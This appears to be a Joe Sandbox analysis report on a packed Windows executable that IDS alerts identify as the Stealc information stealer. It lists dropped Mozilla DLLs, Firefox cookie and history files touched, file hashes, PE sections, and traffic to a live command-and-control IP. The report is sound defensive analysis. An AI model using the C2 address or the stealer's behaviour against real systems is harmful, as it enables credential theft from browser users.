Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: xxJfSec58P.exe, Detection: malicious, Browse Filename: UMrFwHyjUi.exe, Detection: malicious, Browse Filename: b157p9L0c1.exe, Detection: malicious, Browse Filename: PFlJLzFUqH.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: xxJfSec58P.exe, Detection: malicious, Browse Filename: UMrFwHyjUi.exe, Detection: malicious, Browse Filename: b157p9L0c1.exe, Detection: malicious, Browse Filename: PFlJLzFUqH.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\freebl3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\mozglue[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\msvcp140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\nss3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\softokn3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\vcruntime140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.947718581848989
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'877'504 bytes
MD5:	14a1f90b21ffb33b230a55a35c92f699
SHA1:	8da19f2127ab0ea47c3a98917c574770d0393427
SHA256:	a53615e5cd9c8c0edb2a91d32e7c30b506bda8a741c525e33cdbbb06aad27565
SHA512:	b3974bfacb41052500ecf74411416f9a150c45bcd06e17513c8b7a74f7252617bf320ccf2e728a4915c2ff4c3b3a3a4fe10551795536d51333fba73d83921314
SSDEEP:	49152:1WqzDZCuH+cb8/Ql1v581NVNMuIHuApHjL3VifRUiHJZJHW0R:1/Hh8/q1i1KppDbVifRUiHJZJHV
TLSH:	42953375ADE3867ED5CE87755CABCB1E2F9841C2BEB50163C40BC89EB59346A530382C
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........C..............X.......m.......Y.......p.....y.........`...............\.......n.....Rich............PE..L...J..f...........

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0xaac000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x66F99A4A [Sun Sep 29 18:19:54 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F17692E39CAh
je 00007F17692E39E2h
add byte ptr [eax], al
jmp 00007F17692E59C5h
add byte ptr [edi], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [edx], ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
pop es
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x25d050	0x64	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x25d1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x25b000	0x22800	6eb937489c13dc9951f6c6ce59d72cbf	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x25c000	0x1000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x25d000	0x1000	0x200	c60c4959cc8d384ac402730cc6842bb0	False	0.1328125	data	0.9064079259880791	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x25e000	0x2a8000	0x200	8caeefafff54b64f151399b37b246d4f	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
uolrxmar	0x506000	0x1a5000	0x1a4400	2564032128b84363d24ff9e7c06878f0	False	0.9948609923408686	PDP-11 separate I&D executable not stripped - version 64	7.953449790469483	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
whwdztvn	0x6ab000	0x1000	0x400	df45c720a0d9dceb7bf2e6800428225e	False	0.7373046875	data	5.873168842834129	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x6ac000	0x3000	0x2200	0b112295f6ae432b25f1acca624608ba	False	0.059857536764705885	DOS executable (COM)	0.6945557572307259	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-24T04:57:07.407001+0200	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.5	49704	185.215.113.37	80	TCP
2024-10-24T04:57:07.695891+0200	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	1	192.168.2.5	49704	185.215.113.37	80	TCP
2024-10-24T04:57:07.702566+0200	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	1	185.215.113.37	80	192.168.2.5	49704	TCP
2024-10-24T04:57:07.995373+0200	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	1	192.168.2.5	49704	185.215.113.37	80	TCP
2024-10-24T04:57:08.012567+0200	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	185.215.113.37	80	192.168.2.5	49704	TCP
2024-10-24T04:57:09.130103+0200	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	1	192.168.2.5	49704	185.215.113.37	80	TCP
2024-10-24T04:57:09.706704+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49704	185.215.113.37	80	TCP
2024-10-24T04:57:18.394251+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49704	185.215.113.37	80	TCP
2024-10-24T04:57:20.159470+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49704	185.215.113.37	80	TCP
2024-10-24T04:57:21.203708+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49704	185.215.113.37	80	TCP
2024-10-24T04:57:22.010936+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49704	185.215.113.37	80	TCP
2024-10-24T04:57:23.736494+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49704	185.215.113.37	80	TCP
2024-10-24T04:57:24.395364+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49704	185.215.113.37	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 24, 2024 04:57:06.167210102 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:06.172811985 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:06.173069000 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:06.173254967 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:06.178636074 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:07.095604897 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:07.095751047 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:07.098992109 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:07.104424000 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:07.406883955 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:07.407001019 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:07.408870935 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:07.414294958 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:07.695764065 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:07.695805073 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:07.695842028 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:07.695890903 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:07.695890903 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:07.697103024 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:07.702565908 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:07.995260000 CEST	80	49704	185.215.113.37	192.168.2.5
